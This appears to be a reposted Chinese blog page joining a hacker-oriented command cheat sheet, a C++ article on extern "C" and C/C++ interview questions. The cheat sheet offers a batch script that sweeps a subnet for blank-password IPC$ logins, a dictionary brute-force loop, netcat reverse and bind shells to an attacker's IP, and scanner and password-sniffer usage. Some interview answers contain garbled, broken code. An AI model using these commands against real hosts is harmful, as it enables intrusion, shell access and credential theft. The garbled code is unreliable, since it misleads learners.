pause 暂停批处理程序，并显示出：请按任意键继续....
if
在批处理程序中执行条件处理（更多说明见if命令及变量）
goto 标签
将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：“：start”标签）
call 路径\批处理文件名
从批处理程序中调用另一个批处理程序 （更多说明见call /?）
for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量）
echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置
echo 信息 在屏幕上显示出信息
echo
信息 >> pass.txt 将"信息"保存到pass.txt文件中
findstr "Hello" aa.txt
在aa.txt文件中寻找字符串hello
find 文件名 查找某文件
title 标题名字 更改CMD窗口标题名字
color 颜色值
设置cmd控制台前景和背景颜色；0＝黑、1＝蓝、2＝绿、3＝浅绿、4＝红、5＝紫、6＝黄、7=白、8=灰、9=淡蓝、A＝淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为：EntSky\ )
#3 三：
ver 在DOS窗口下显示版本信息
winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名）
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS
md 目录名
创建目录
replace 源文件 要替换文件的目录 替换文件
ren 原文件名 新文件名 重命名文件名
tree
以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称 文章转载于精锐联盟07188.CN
type 文件名 显示文本文件的内容
more
文件名 逐屏显示输出文件
doskey 要锁定的命令＝字符
doskey 要解锁命令=
为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskey dir=entsky (不能用doskey
dir=dir)；解锁：doskey dir=
taskmgr 调出任务管理器
chkdsk /F D:
检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误
tlntadmn
telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口
exit
退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exe
path 路径\可执行文件的文件名 为可执行文件设置一个路径。
cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /?
regedit /s
注册表文件名 导入注册表；参数/S指安静模式导入，无任何提示；
regedit /e 注册表文件名 导出注册表
cacls 文件名 参数
显示或修改文件访问控制列表（ACL）——针对NTFS格式时。参数：/D 用户名:设定拒绝某用户访问；/P 用户名:perm 替换指定用户的访问权限；/G
用户名:perm 赋予指定用户访问权限；Perm 可以是: N 无，R 读取， W 写入， C 更改(写入)，F 完全控制；例：cacls
D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。
cacls 文件名 查看文件的访问用户权限列表
REM
文本内容 在批处理文件中添加注解
netsh 查看或更改本地网络配置情况
#4 四：
IIS服务命令：
iisreset /reboot 重启win2k计算机（但有提示系统将重启信息出现）
iisreset /start或stop
启动（停止）所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset
/status 显示所有Internet服务状态
iisreset /enable或disable
在本地系统上启用（禁用）Internet服务的重新启动
iisreset /rebootonerror
当启动、停止或重新启动Internet服务时，若发生错误将重新开机
iisreset /noforce
若无法停止Internet服务，将不会强制终止Internet服务
iisreset /timeout
Val在到达逾时间（秒）时，仍未停止Internet服务，若指定/rebootonerror参数，则电脑将会重新开机。预设值为重新启动20秒，停止60秒，重新开机0秒。
FTP 命令： (后面有详细说明内容)
ftp的命令行格式为:
ftp －v －d －i －n －g[主机名] －v
显示远程服务器的所有响应信息。
－d 使用调试方式。
－n 限制ftp的自动登录,即不使用.netrc文件。
－g 取消全局文件名。
help [命令] 或 ？[命令] 查看命令说明
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
pwd
列出当前远端主机目录
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
get 或 recv
[远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
mget [remote-files] 从远端主机接收一批文件至本地主机
mput local-files 将本地主机中一批文件传送至远端主机
dir 或 ls [remote-directory]
[local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
ascii 设定以ASCII方式传送文件(缺省值)
bin 或 image 设定以二进制方式传送文件
bell 每完成一次文件传送,报警提示
cdup 返回上一级目录
close
中断与远程服务器的ftp会话(与open对应)
open host[port] 建立指定ftp服务器连接,可指定连接端口
delete
删除远端主机中的文件
mdelete [remote-files] 删除一批文件
mkdir directory-name 在远端主机中建立目录
文章转载于精锐联盟07188.CN
rename [from] [to] 改变远端主机中的文件名
rmdir directory-name
删除远端主机中的目录
status 显示当前FTP的状态
system 显示远端主机系统类型
user user-name
[password] [account] 重新以别的用户名登录远端主机
open host [port] 重新建立一个新的连接
prompt
交互提示模式
macdef 定义宏命令
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
chmod
改变远端主机的文件权限
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
cd remote－dir
进入远程主机目录
cdup 进入远程主机目录的父目录
! 在本地机中执行交互shell，exit回到ftp环境,如!ls＊.zip
#5 五：
MYSQL 命令：
mysql -h主机地址 -u用户名 －p密码
连接MYSQL;如果刚安装好MYSQL，超级用户root是没有密码的。
（例：mysql -h110.110.110.110 -Uroot
-P123456
注:u与root可以不用加空格，其它也一样）
exit 退出MYSQL
mysql*** -u用户名 -p旧密码
password 新密码 修改密码
grant select on 数据库.* to 用户名@登录主机 identified by \"密码\";
增加新用户。（注意：和上面不同，下面的因为是MYSQL环境中的命令，所以后面都带一个分号作为命令结束符）
show databases;
显示数据库列表。刚开始时才两个数据库：mysql和test。mysql库很重要它里面有MYSQL的系统信息，我们改密码和新增用户，实际上就是用这个库进行操作。
use mysql；
show tables; 显示库中的数据表
describe 表名; 显示数据表的结构
create
database 库名; 建库
use 库名；
create table 表名 (字段设定列表)； 建表
drop database
库名;
drop table 表名； 删库和删表
delete from 表名; 将表中记录清空
select * from 表名;
显示表中的记录
mysqldump --opt school>school.bbb
备份数据库：（命令在DOS的\\mysql\\bin目录下执行）;注释:将数据库school备份到school.bbb文件，school.bbb是一个文本文件，文件名任取，打开看看你会有新发现。
win2003系统下新增命令（实用部份）：
shutdown /参数 关闭或重启本地或远程主机。
参数说明：/S 关闭主机，/R
重启主机， /T 数字 设定延时的时间，范围0～180秒之间， /A取消开机，/M //IP 指定的远程主机。
例：shutdown /r /t 0
立即重启本地主机（无延时）
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
参数说明：/PID
要终止进程的pid,可用tasklist命令获得各进程的pid，/IM 要终止的进程的进程名，/F 强制终止进程，/T 终止指定的进程及他所启动的子进程。
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
参数说明：/M
列出当前进程加载的dll文件，/SVC 显示出每个进程对应的服务，无参数时就只列出当前的进程。
#6 六：
Linux系统下基本命令： 要区分大小写
uname 显示版本信息（同win2K的 ver）
dir 显示当前目录文件,ls
-al 显示包括隐藏文件（同win2K的 dir）
pwd 查询当前所在的目录位置
cd cd ..回到上一层目录，注意cd
与..之间有空格。cd /返回到根目录。
cat 文件名 查看文件内容
cat >abc.txt 往abc.txt文件中写上内容。
more 文件名 以一页一页的方式显示一个文本文件。
cp 复制文件
mv 移动文件
rm 文件名 删除文件，rm -a
目录名删除目录及子目录
mkdir 目录名 建立目录
rmdir 删除子目录，目录内没有文档。
chmod 设定档案或目录的存取权限
grep 在档案中查找字符串
diff 档案文件比较
find 档案搜寻
date 现在的日期、时间
who
查询目前和你使用同一台机器的人以及Login时间地点
w 查询目前上机者的详细资料
whoami 查看自己的帐号名称
groups
查看某人的Group
passwd 更改密码
history 查看自己下过的命令
ps 显示进程状态
kill 停止某进程
gcc 黑客通常用它来编译C语言写的文件
su 权限转换为指定使用者
telnet IP
telnet连接对方主机（同win2K），当出现bash$时就说明连接成功。
ftp ftp连接上某服务器（同win2K）
附：批处理命令与变量
1：for命令及变量 基本格式：
FOR /参数 %variable IN (set) DO
command [command_parameters] %variable:指定一个单一字母可替换的参数，如：%i ，而指定一个变量则用：%%i
，而调用变量时用：%i% ，变量是区分大小写的（%i 不等于 %I）。
批处理每次能处理的变量从%0—%9共10个，其中%0默认给批处理文件名使用，%1默认为使用此批处理时输入的的第一个值，同理：%2—%9指输入的第2-9个值；例：net
use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3
(set):指定一个或一组文件，可使用通配符，如：(D:\user.txt)和(1 1 254)(1 -1 254),{ “(1 1
254)”第一个"1"指起始值，第二个"1"指增长量，第三个"254"指结束值，即：从1到254；“(1 -1 254)”说明：即从254到1 }
command：指定对第个文件执行的命令，如：net use命令；如要执行多个命令时，命令这间加：& 来隔开
command_parameters：为特定命令指定参数或命令行开关
IN (set)：指在(set)中取值；DO command
：指执行command
参数：/L 指用增量形式{ (set)为增量形式时 }；/F 指从文件中不断取值，直到取完为止{
(set)为文件时，如(d:\pass.txt)时 }。
用法举例：
@echo off
echo 用法格式：test.bat
*.*.* > test.txt 文章转载于精锐联盟07188.CN
for /L %%G in (1 1 254) do echo
%1.%%G >>test.txt & net use \\%1.%%G /user:***istrator | find "命令成功完成"
>>test.txt
存为test.bat
说明：对指定的一个C类网段的254个IP依次试建立***istrator密码为空的IPC$连接，如果成功就把该IP存在test.txt中。
/L指用增量形式（即从1-254或254-1）；输入的IP前面三位：*.*.*为批处理默认的 %1；%%G 为变量(ip的最后一位）；&
用来隔开echo 和net use 这二个命令；| 指建立了ipc$后，在结果中用find查看是否有"命令成功完成"信息；%1.%%G 为完整的IP地址；(1
1 254) 指起始值，增长量，结止值。
@echo off
echo 用法格式：ok.bat ip
FOR /F %%i IN
(D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存为：ok.exe
说明：输入一个IP后，用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码，直到文件中值取完为止。%%i为用户名；%1为输入的IP地址（默认）。
#7 七：
2：if命令及变量 基本格式：
IF [not] errorlevel 数字 命令语句
如果程序运行最后返回一个等于或大于指定数字的退出编码，指定条件为“真”。
例：IF errorlevel 0 命令
指程序执行后返回的值为0时，就值行后面的命令；IF not errorlevel 1 命令指程序执行最后返回的值不等于1，就执行后面的命令。
0
指发现并成功执行（真）；1 指没有发现、没执行（假）。
IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配（即：字符串1 等于
字符串2），就执行后面的命令。
例：“if "%2%"=="4" goto
start”指：如果输入的第二个变量为4时，执行后面的命令（注意：调用变量时就%变量名%并加" "）
IF [not] exist 文件名 命令语句
如果指定的文件名存在，就执行后面的命令。文章转载于精锐联盟07188.CN
例：“if not nc.exe goto
end”指：如果没有发现nc.exe文件就跳到":end"标签处。
IF [not] errorlevel 数字 命令语句 else 命令语句或 IF
[not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上：else
命令语句后指：当前面的条件不成立时，就指行else后面的命令。注意：else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用<
>括起来，因为del命令要单独一行时才能执行，用上< >后就等于是单独一行了；例如：“if exist test.txt. <del
test.txt.> else echo test.txt.missing ”，注意命令中的“.”
（二）系统外部命令(均需下载相关工具)：文章转载于精锐联盟07188.CN
1、瑞士军刀：nc.exe
参数说明：
-h 查看帮助信息
-d 后台模式
-e prog程序重定向，一但连接就执行〔危险〕
-i
secs延时的间隔
-l 监听模式，用于入站连接
-L 监听模式，连接天闭后仍然继续监听，直到CTR+C
-n IP地址，不能用域名
-o film记录16进制的传输
-p[空格]端口 本地端口号
-r 随机本地及远程端口
-t 使用Telnet交互方式
-u UDP模式
-v 详细输出，用-vv将更详细
-w数字 timeout延时间隔
-z 将输入，输出关掉（用于扫锚时）
基本用法：
nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口
nc -l -p 80
开启本机的TCP 80端口并监听
nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP
5354端口
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354
梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口
高级用法：
nc -L -p 80
作为蜜罐用1：开启并不停地监听80端口，直到CTR+C为止
nc -L -p 80 > c:\log.txt
作为蜜罐用2：开启并不停地监听80端口，直到CTR+C,同时把结果输出到c:\log.txt
nc -L -p 80 <
c:\honeyport.txt
作为蜜罐用3-1：开启并不停地监听80端口，直到CTR+C,并把c:\honeyport.txt中内容送入管道中，亦可起到传送文件作用
type.exe
c:\honeyport | nc -L -p 80
作为蜜罐用3-2：开启并不停地监听80端口，直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
本机上用：nc
-l -p 本机端口
在对方主机上用：nc -e cmd.exe 本机IP -p 本机端口 *win2K
nc -e /bin/sh 本机IP
-p 本机端口 *linux,unix 反向连接突破对方主机的防火墙
本机上用：nc -d -l -p 本机端口 < 要传送的文件路径及名称
在对方主机上用：nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机
备 注：
| 管道命令
< 或 > 重定向命令。“<”，例如：tlntadmn < test.txt
指把test.txt的内容赋值给tlntadmn命令
＠ 表示执行＠后面的命令，但不会显示出来（后台执行）；例：＠dir c:\winnt
>> d:\log.txt 意思是：后台执行dir，并把结果存在d:\log.txt中
>与>>的区别
">"指：覆盖；">>"指：保存到(添加到）。
如：@dir c:\winnt >> d:\log.txt和@dir
c:\winnt >
d:\log.txt二个命令分别执行二次比较看：用>>的则是把二次的结果都保存了，而用：>则只有一次的结果，是因为第二次的结果把第一次的覆盖了。
#8 八：
2、扫锚工具：xscan.exe
基本格式
xscan -host
<起始IP>[-<终止IP>] <检测项目> [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息
xscan
-file <主机列表文件名> <检测项目> [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息
检测项目
-active 检测主机是否存活
-os 检测远程操作系统类型（通过NETBIOS和SNMP协议）
-port 检测常用服务的端口状态
-ftp 检测FTP弱口令
-pub 检测FTP服务匿名用户写权限
-pop3 检测POP3-Server弱口令
-smtp
检测SMTP-Server漏洞
-sql 检测SQL-Server弱口令
-smb 检测NT-Server弱口令
-iis
检测IIS编码/解码漏洞
-cgi 检测CGI漏洞
-nasl 加载Nessus攻击脚本
-all 检测以上所有项目
其它选项
-i 适配器编号 设置网络适配器, <适配器编号>可通过"-l"参数获取
-l 显示所有网络适配器
-v 显示详细扫描进度
-p 跳过没有响应的主机
-o 跳过没有检测到开放端口的主机
-t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量,
默认数量为100,10
-log 文件名 指定扫描报告文件名 (后缀为：TXT或HTML格式的文件) 文章转载于精锐联盟07188.CN
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p
检测192.168.1.1-192.168.255.255网段内主机的所有漏洞，跳过无响应的主机
xscan -host
192.168.1.1-192.168.255.255 -port -smb -t 150 -o
检测192.168.1.1-192.168.255.255网段内主机的标准端口状态，NT弱口令用户，最大并发线程数量为150，跳过没有检测到开放端口的主机
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o
检测“hostlist.txt”文件中列出的所有主机的标准端口状态，CGI漏洞，最大并发线程数量为200，同一时刻最多检测5台主机，显示详细检测进度，跳过没有检测到开放端口的主机
#9 九：文章转载于精锐联盟07188.CN
3、命令行方式嗅探器: xsniff.exe
可捕获局域网内FTP/SMTP/POP3/HTTP协议密码
参数说明
-tcp 输出TCP数据报
-udp 输出UDP数据报
-icmp 输出ICMP数据报
-pass 过滤密码信息
-hide 后台运行
-host 解析主机名
-addr
IP地址 过滤IP地址
-port 端口 过滤端口
-log 文件名 将输出保存到文件
-asc 以ASCII形式输出
-hex
以16进制形式输出
用法示例
xsniff.exe -pass -hide -log pass.log
后台运行嗅探密码并将密码信息保存在pass.lo
星期二, 六月 17, 2008
(转)C++中extern “C”含义深层探索
1.引言
如果深入理解了第3节中所阐述的extern "C"在编译和连接阶段发挥的作用，就能真正理解本节所阐述的从C++引用C函数和C引用C++函数的惯用法。对第4节给出的示例代码，需要特别留意各个细节。
C++语言的创建初衷是“a better C”，但是这并不意味着C++中类似C语言的全局变量和函数所采用的编译和连接方式与C语言完全相同。作为一种欲与C兼容的语言，C++保留了一部分过程 式语言的特点（被世人称为“不彻底地面向对象”），因而它可以定义不属于任何类的全局变量和函数。但是，C++毕竟是一种面向对象的程序设计语言，为了支 持函数的重载，C++对全局函数的处理方式与C有明显的不同。
2.从标准头文件说起
某企业曾经给出如下的一道面试题：
面试题
为什么标准头文件都有类似以下的结构？
#ifndef __INCvxWorksh
#define __INCvxWorksh
#ifdef __cplusplus
extern "C" {
#endif
/*...*/
#ifdef __cplusplus
}
#endif
#endif /* __INCvxWorksh */
分析
显然，头文件中的编译宏“#ifndef __INCvxWorksh、#define __INCvxWorksh、#endif” 的作用是防止该头文件被重复引用。
那么
#ifdef __cplusplus
extern "C" {
#endif
#ifdef __cplusplus
}
#endif
的作用又是什么呢？我们将在下文一一道来。
3.深层揭密extern "C"
extern "C" 包含双重含义，从字面上即可得到：首先，被它修饰的目标是“extern”的；其次，被它修饰的目标是“C”的。让我们来详细解读这两重含义。
被extern "C"限定的函数或变量是extern类型的；
extern是C/C++语言中表明函数和全局变量作用范围（可见性）的关键字，该关键字告诉编译器，其声明的函数和变量可以在本模块或其它模块中使用。记住，下列语句：
extern int a;
仅仅是一个变量的声明，其并不是在定义变量a，并未为a分配内存空间。变量a在所有模块中作为一种全局变量只能被定义一次，否则会出现连接错误。
通常，在模块的头文件中对本模块提供给其它模块引用的函数和全局变量以关键字extern声明。例如，如果模块B欲引用该模块A中定义的全局变 量和函数时只需包含模块A的头文件即可。这样，模块B中调用模块A中的函数时，在编译阶段，模块B虽然找不到该函数，但是并不会报错；它会在连接阶段中从 模块A编译生成的目标代码中找到此函数。
与extern对应的关键字是static，被它修饰的全局变量和函数只能在本模块中使用。因此，一个函数或变量只可能被本模块使用时，其不可能被extern “C”修饰。
被extern "C"修饰的变量和函数是按照C语言方式编译和连接的；
未加extern “C”声明时的编译方式
首先看看C++中对类似C的函数是怎样编译的。
作为一种面向对象的语言，C++支持函数重载，而过程式语言C则不支持。函数被C++编译后在符号库中的名字与C语言的不同。例如，假设某个函数的原型为：
void foo( int x, int y );
该函数被C编译器编译后在符号库中的名字为_foo，而C++编译器则会产生像_foo_int_int之类的名字（不同的编译器可能生成的名字不同，但是都采用了相同的机制，生成的新名字称为“mangled name”）。
_foo_int_int这样的名字包含了函数名、函数参数数量及类型信息，C++就是靠这种机制来实现函数重载的。例如，在C++中，函数 void foo( int x, int y )与void foo( int x, float y )编译生成的符号是不相同的，后者为_foo_int_float。
同样地，C++中的变量除支持局部变量外，还支持类成员变量和全局变量。 用户所编写程序的类成员变量可能与全局变量同名，我们以"."来区分。而本质上，编译器在进行编译时，与函数的处理相似，也为类中的变量取了一个独一无二 的名字，这个名字与用户程序中同名的全局变量名字不同。
未加extern "C"声明时的连接方式
假设在C++中，模块A的头文件如下：
// 模块A头文件 moduleA.h
#ifndef MODULE_A_H
#define MODULE_A_H
int foo( int x, int y );
#endif
在模块B中引用该函数：
// 模块B实现文件 moduleB.cpp
#include "moduleA.h"
foo(2,3);
实际上，在连接阶段，连接器会从模块A生成的目标文件moduleA.obj中寻找_foo_int_int这样的符号！
加extern "C"声明后的编译和连接方式
加extern "C"声明后，模块A的头文件变为：
// 模块A头文件 moduleA.h
#ifndef MODULE_A_H
#define MODULE_A_H
extern "C" int foo( int x, int y );
#endif
在模块B的实现文件中仍然调用foo( 2,3 )，其结果是：
（1）模块A编译生成foo的目标代码时，没有对其名字进行特殊处理，采用了C语言的方式；
（2）连接器在为模块B的目标代码寻找foo(2,3)调用时，寻找的是未经修改的符号名_foo。
如果在模块A中函数声明了foo为extern "C"类型，而模块B中包含的是extern int foo( int x, int y ) ，则模块B找不到模块A中的函数；反之亦然。
所以，可以用一句话概括extern “C”这个声明的真实目的（任何语言中的任何语法特性的诞生都不是随意而为的，来源于真实世界的需求驱动。我们在思考问题时，不能只停留在这个语言是怎么 做的，还要问一问它为什么要这么做，动机是什么，这样我们可以更深入地理解许多问题）：
实现C++与C及其它语言的混合编程。
明白了C++中extern "C"的设立动机，我们下面来具体分析extern "C"通常的使用技巧。
4.extern "C"的惯用法
（1）在C++中引用C语言中的函数和变量，在包含C语言头文件（假设为cExample.h）时，需进行下列处理：
extern "C"
{
#include "cExample.h"
}
而在C语言的头文件中，对其外部函数只能指定为extern类型，C语言中不支持extern "C"声明，在.c文件中包含了extern "C"时会出现编译语法错误。
笔者编写的C++引用C函数例子工程中包含的三个文件的源代码如下：
/* c语言头文件：cExample.h */
#ifndef C_EXAMPLE_H
#define C_EXAMPLE_H
extern int add(int x,int y);
#endif
/* c语言实现文件：cExample.c */
#include "cExample.h"
int add( int x, int y )
{
return x + y;
}
// c++实现文件，调用add：cppFile.cpp
extern "C"
{
#include "cExample.h"
}
int main(int argc, char* argv[])
{
add(2,3);
return 0;
}
如果C++调用一个C语言编写的.DLL时，当包括.DLL的头文件或声明接口函数时，应加extern "C" { }。
（2）在C中引用C++语言中的函数和变量时，C++的头文件需添加extern "C"，但是在C语言中不能直接引用声明了extern "C"的该头文件，应该仅将C文件中将C++中定义的extern "C"函数声明为extern类型。
笔者编写的C引用C++函数例子工程中包含的三个文件的源代码如下：
//C++头文件 cppExample.h
#ifndef CPP_EXAMPLE_H
#define CPP_EXAMPLE_H
extern "C" int add( int x, int y );
#endif
//C++实现文件 cppExample.cpp
#include "cppExample.h"
int add( int x, int y )
{
return x + y;
}
/* C实现文件 cFile.c
/* 这样会编译出错：#include "cExample.h" */
extern int add( int x, int y );
int main( int argc, char* argv[] )
{
add( 2, 3 );
return 0;
}
如果深入理解了第3节中所阐述的extern "C"在编译和连接阶段发挥的作用，就能真正理解本节所阐述的从C++引用C函数和C引用C++函数的惯用法。对第4节给出的示例代码，需要特别留意各个细节。
星期五, 二月 29, 2008
C/C++ 笔试、面试题目大汇总
1.求下面函数的返回值（微软）
int func(x) { int countx = 0; while(x) { countx ++; x = x&(x-1); } return countx; }
假定x = 9999。 答案：8
思路：将x转化为2进制，看含有的1的个数。
2. 什么是“引用”？申明和使用“引用”要注意哪些问题？
答：引用就是某个目标变量的“别名”(alias)，对应用的操作与对变量直接操作效果完全相同。申明一个引用的时候，切记要对其进行初始化。引用声明完毕后，相当于目标变量名有两个名称，即该目标原名称和引用名，不能再把该引用名作为其他变量名的别名。声明一个引用，不是新定义了一个变量，它只表示该引用名是目标变量名的一个别名，它本身不是一种数据类型，因此引用本身不占存储单元，系统也不给引用分配存储单元。不能建立数组的引用。
3. 将“引用”作为函数参数有哪些特点？
（1）传递引用给函数与传递指针的效果是一样的。这时，被调函数的形参就成为原来主调函数中的实参变量或对象的一个别名来使用，所以在被调函数中对形参变量的操作就是对其相应的目标对象（在主调函数中）的操作。
（2）使用引用传递函数的参数，在内存中并没有产生实参的副本，它是直接对实参操作；而使用一般变量传递函数的参数，当发生函数调用时，需要给形参分配存储单元，形参变量是实参变量的副本；如果传递的是对象，还将调用拷贝构造函数。因此，当参数传递的数据较大时，用引用比用一般变量传递参数的效率和所占空间都好。
（3）使用指针作为函数的参数虽然也能达到与使用引用的效果，但是，在被调函数中同样要给形参分配存储单元，且需要重复使用"*指针变量名"的形式进行运算，这很容易产生错误且程序的阅读性较差；另一方面，在主调函数的调用点处，必须用变量的地址作为实参。而引用更容易使用，更清晰。
4. 在什么时候需要使用“常引用”？
如果既要利用引用提高程序的效率，又要保护传递给函数的数据不在函数中被改变，就应使用常引用。常引用声明方式：const 类型标识符 &引用名=目标变量名；
例1
int a ;const int &ra=a;ra=1; //错误a=1; //正确
例2
string foo( );void bar(string & s);
那么下面的表达式将是非法的：
bar(foo( ));bar("hello world");
原因在于foo( )和"hello world"串都会产生一个临时对象，而在C++中，这些临时对象都是const类型的。因此上面的表达式就是试图将一个const类型的对象转换为非const类型，这是非法的。
引用型参数应该在能被定义为const的情况下，尽量定义为const 。
5. 将“引用”作为函数返回值类型的格式、好处和需要遵守的规则?
格式：类型标识符 &函数名（形参列表及类型说明）{ //函数体 }
好处：在内存中不产生被返回值的副本；（注意：正是因为这点原因，所以返回一个局部变量的引用是不可取的。因为随着该局部变量生存期的结束，相应的引用也会失效，产生runtime error!
注意事项：
（1）不能返回局部变量的引用。这条可以参照Effective C++[1]的Item 31。主要原因是局部变量会在函数返回后被销毁，因此被返回的引用就成为了"无所指"的引用，程序会进入未知状态。
（2）不能返回函数内部new分配的内存的引用。这条可以参照Effective C++[1]的Item 31。虽然不存在局部变量的被动销毁问题，可对于这种情况（返回函数内部new分配内存的引用），又面临其它尴尬局面。例如，被函数返回的引用只是作为一个临时变量出现，而没有被赋予一个实际的变量，那么这个引用所指向的空间（由new分配）就无法释放，造成memory leak。
（3）可以返回类成员的引用，但最好是const。这条原则可以参照Effective C++[1]的Item 30。主要原因是当对象的属性是与某种业务规则（business rule）相关联的时候，其赋值常常与某些其它属性或者对象的状态有关，因此有必要将赋值操作封装在一个业务规则当中。如果其它对象可以获得该属性的非常量引用（或指针），那么对该属性的单纯赋值就会破坏业务规则的完整性。
（4）流操作符重载返回值申明为“引用”的作用：
流操作符<<和>>，这两个操作符常常希望被连续使用，例如：cout << "hello" << x =" j" x="10)="100;赋值操作符的返回值必须是一个左值，以便可以被继续赋值。因此引用成了这个操作符的惟一返回值选择。">int &put(int n);int vals[10];int error=-1;void main(){put(0)=10; //以put(0)函数值作为左值，等价于vals[0]=10; put(9)=20; //以put(9)函数值作为左值，等价于vals[9]=20; cout<=0 && n<=9 ) return vals[n]; else { cout<<"subscript error"; return error; }} （5）在另外的一些操作符中，却千万不能返回引用：+-*/ 四则运算符。它们不能返回引用，Effective C++[1]的Item23详细的讨论了这个问题。主要原因是这四个操作符没有side effect，因此，它们必须构造一个对象作为返回值，可选的方案包括：返回一个对象、返回一个局部变量的引用，返回一个new分配的对象的引用、返回一个静态对象引用。根据前面提到的引用作为返回值的三个规则，第2、3两个方案都被否决了。静态对象的引用又因为((a+b) == (c+d))会永远为true而导致错误。所以可选的只剩下返回一个对象了。 6. “引用”与多态的关系？ 引用是除指针外另一个可以产生多态效果的手段。这意味着，一个基类的引用可以指向它的派生类实例。 例4 Class A; Class B : Class A{...}; B b; A& ref = b; 7. “引用”与指针的区别是什么？ 指针通过某个指针变量指向一个对象后，对它所指向的变量间接操作。程序中使用指针，程序的可读性差；而引用本身就是目标变量的别名，对引用的操作就是对目标变量的操作。此外，就是上面提到的对函数传ref和pointer的区别。 8. 什么时候需要“引用”？ 流操作符<<和>>、赋值操作符=的返回值、拷贝构造函数的参数、赋值操作符=的参数、其它情况都推荐使用引用。
以上 2-8 参考：http://blog.csdn.net/wfwd/archive/2006/05/30/763551.aspx
9. 结构与联合有和区别？1. 结构和联合都是由多个不同的数据类型成员组成, 但在任何同一时刻, 联合中只存放了一个被选中的成员（所有成员共用一块地址空间）, 而结构的所有成员都存在（不同成员的存放地址不同）。 2. 对于联合的不同成员赋值, 将会对其它成员重写, 原来成员的值就不存在了, 而对于结构的不同成员赋值是互不影响的。
10. 下面关于“联合”的题目的输出？
a)
＃i ncludeunion{int i;char x[2];}a;
void main(){a.x[0] = 10; a.x[1] = 1;printf("%d",a.i);}答案：266 (低位低地址，高位高地址，内存占用情况是Ox010A）
b)
main() { union{ /*定义一个联合*/ int i; struct{ /*在联合中定义一个结构*/ char first; char second; }half; }number; number.i=0x4241; /*联合成员赋值*/ printf("%c%c\n", number.half.first, mumber.half.second); number.half.first='a'; /*联合中结构成员赋值*/ number.half.second='b'; printf("%x\n", number.i); getch(); } 答案： AB (0x41对应'A',是低位；Ox42对应'B',是高位）
6261 (number.i和number.half共用一块地址空间）
11. 已知strcpy的函数原型：char *strcpy(char *strDest, const char *strSrc)其中strDest 是目的字符串，strSrc 是源字符串。不调用C++/C 的字符串库函数，请编写函数 strcpy。
答案：char *strcpy(char *strDest, const char *strSrc){if ( strDest == NULL strSrc == NULL)return NULL ;if ( strDest == strSrc)return strDest ;char *tempptr = strDest ;while( (*strDest++ = *strSrc++) != ‘\0’);return tempptr ;}
12. 已知String类定义如下：
class String{public:String(const char *str = NULL); // 通用构造函数String(const String &another); // 拷贝构造函数~ String(); // 析构函数String & operater =(const String &rhs); // 赋值函数private:char *m_data; // 用于保存字符串};
尝试写出类的成员函数实现。
答案：
String::String(const char *str){ if ( str == NULL ) //strlen在参数为NULL时会抛异常才会有这步判断 { m_data = new char[1] ; m_data[0] = '\0' ; } else { m_data = new char[strlen(str) + 1]; strcpy(m_data,str); }
}
String::String(const String &another){ m_data = new char[strlen(another.m_data) + 1]; strcpy(m_data,other.m_data);}
String& String::operator =(const String &rhs){ if ( this == &rhs) return *this ; delete []m_data; //删除原来的数据，新开一块内存 m_data = new char[strlen(rhs.m_data) + 1]; strcpy(m_data,rhs.m_data); return *this ;}
String::~String(){ delete []m_data ;}
13. .h头文件中的ifndef/define/endif 的作用？
答：防止该头文件被重复引用。
14. ＃i nclude 与 ＃i nclude "file.h"的区别？
答：前者是从Standard Library的路径寻找和引用file.h，而后者是从当前工作路径搜寻并引用file.h。
15.在C++ 程序中调用被C 编译器编译后的函数，为什么要加extern “C”？
首先，作为extern是C/C++语言中表明函数和全局变量作用范围（可见性）的关键字，该关键字告诉编译器，其声明的函数和变量可以在本模块或其它模块中使用。
